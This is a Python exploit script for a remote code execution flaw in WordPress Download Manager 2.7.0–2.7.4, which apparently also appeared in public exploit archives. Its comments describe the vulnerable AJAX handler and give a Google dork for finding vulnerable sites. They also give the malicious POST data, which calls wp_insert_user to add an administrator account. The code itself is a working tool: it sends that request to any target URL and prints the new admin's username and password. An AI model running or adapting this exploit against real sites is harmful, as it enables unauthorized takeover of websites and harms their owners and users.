Wordpress Download Manager 2.7.4 - Remote Code Execution Vulnerability

#!/usr/bin/python

#

# Exploit Name: Wordpress Download Manager 2.7.0-2.7.4 Remote Command Execution

#

# Vulnerability discovered by SUCURI TEAM (http://blog.sucuri.net/2014/12/security-advisory-high-severity-wordpress-download-manager.html)

#

# Exploit written by Claudio Viviani

#

#

# 2014-12-03:  Discovered vulnerability

# 2014-12-04:  Patch released (2.7.5)

#

# Video Demo: https://www.youtube.com/watch?v=rIhF03ixXFk

#

# --------------------------------------------------------------------

#

# The vulnerable function is located on "/download-manager/wpdm-core.php" file:

#

# function wpdm_ajax_call_exec()

# {

#    if (isset($_POST['action']) && $_POST['action'] == 'wpdm_ajax_call') {

#         if (function_exists($_POST['execute']))

#             call_user_func($_POST['execute'], $_POST);

#         else

#             echo "function not defined!";

#         die();

#     }

# }

#

# Any user from any post/page can call wpdm_ajax_call_exec() function (wp hook).

# wpdm_ajax_call_exec() call functions by call_user_func() through POST data:

#

#         if (function_exists($_POST['execute']))

#             call_user_func($_POST['execute'], $_POST);

#         else

#         ...

#         ...

#         ...

#

# $_POST data needs to be an array

#

#

# The wordpress function wp_insert_user is perfect:

#

# http://codex.wordpress.org/Function_Reference/wp_insert_user

#

# Description

#

# Insert a user into the database.

#

# Usage

#

# <?php wp_insert_user( $userdata ); ?>

#

# Parameters

#

# $userdata

#     (mixed) (required) An array of user data, stdClass or WP_User object.

#        Default: None

#

#

#

# Evil POST Data (Add new Wordpress Administrator):

#

# action=wpdm_ajax_call&execute=wp_insert_user&user_login=NewAdminUser&user_pass=NewAdminPassword&role=administrator

#

# ---------------------------------------------------------------------

#

# Dork google:  index of "wordpress-download"

#

# Tested on Wordpress Download Manager from 2.7.0 to 2.7.4 version with BackBox 3.x and python 2.6

#

# Http connection

import urllib, urllib2, socket

#

import sys

# String manipulator

import string, random

# Args management

import optparse

 

# Check url

def checkurl(url):

    if url[:8] != "https://" and url[:7] != "http://":

        print('[X] You must insert http:// or https:// procotol')

        sys.exit(1)

    else:

        return url

 

# Check if file exists and has readable

def checkfile(file):

    if not os.path.isfile(file) and not os.access(file, os.R_OK):

        print '[X] '+file+' file is missing or not readable'

        sys.exit(1)

    else:

        return file

 

def id_generator(size=6, chars=string.ascii_uppercase + string.ascii_lowercase + string.digits):

    return ''.join(random.choice(chars) for _ in range(size))

 

banner = """

    ___ ___               __

   |   Y   .-----.----.--|  .-----.----.-----.-----.-----.

   |.  |   |  _  |   _|  _  |  _  |   _|  -__|__ --|__ --|

   |. / \  |_____|__| |_____|   __|__| |_____|_____|_____|

   |:      |    ______      |__|              __                __

   |::.|:. |   |   _  \ .-----.--.--.--.-----|  .-----.---.-.--|  |

   `--- ---'   |.  |   \|  _  |  |  |  |     |  |  _  |  _  |  _  |

               |.  |    |_____|________|__|__|__|_____|___._|_____|

               |:  1    /   ___ ___

               |::.. . /   |   Y   .---.-.-----.---.-.-----.-----.----.

               `------'    |.      |  _  |     |  _  |  _  |  -__|   _|

                           |. \_/  |___._|__|__|___._|___  |_____|__|

                           |:  |   |                 |_____|

                           |::.|:. |

                           `--- ---'

                                                   Wordpress Download Manager

                                                      R3m0t3 C0d3 Ex3cut10n

                                                         (Add WP Admin)

                                                          v2.7.0-2.7.4

 

                               Written by:

 

                             Claudio Viviani

 

                          http://www.homelab.it

 

                             info@homelab.it

                         homelabit@protonmail.ch

 

                   https://www.facebook.com/homelabit

                      https://twitter.com/homelabit

                    https://plus.google.com/+HomelabIt1/

           https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww

"""

 

commandList = optparse.OptionParser('usage: %prog -t URL [--timeout sec]')

commandList.add_option('-t', '--target', action="store",

                  help="Insert TARGET URL: http[s]://www.victim.com[:PORT]",

                  )

commandList.add_option('--timeout', action="store", default=10, type="int",

                  help="[Timeout Value] - Default 10",

                  )

 

options, remainder = commandList.parse_args()

 

# Check args

if not options.target:

    print(banner)

    commandList.print_help()

    sys.exit(1)

 

host = checkurl(options.target)

timeout = options.timeout

 

print(banner)

 

socket.setdefaulttimeout(timeout)

 

username = id_generator()

pwd = id_generator()

 

body = urllib.urlencode({'action' : 'wpdm_ajax_call',

                         'execute' : 'wp_insert_user',

                         'user_login' : username,

                         'user_pass' : pwd,

                         'role' : 'administrator'})

 

headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36'}

 

print "[+] Tryng to connect to: "+host

try:

    req = urllib2.Request(host+"/", body, headers)

    response = urllib2.urlopen(req)

    html = response.read()

 

    if html == "":

       print("[!] Account Added")

       print("[!] Location: "+host+"/wp-login.php")

       print("[!] Username: "+username)

       print("[!] Password: "+pwd)

    else:

       print("[X] Exploitation Failed :(")

 

except urllib2.HTTPError as e:

    print("[X] "+str(e))

except urllib2.URLError as e:

    print("[X] Connection Error: "+str(e))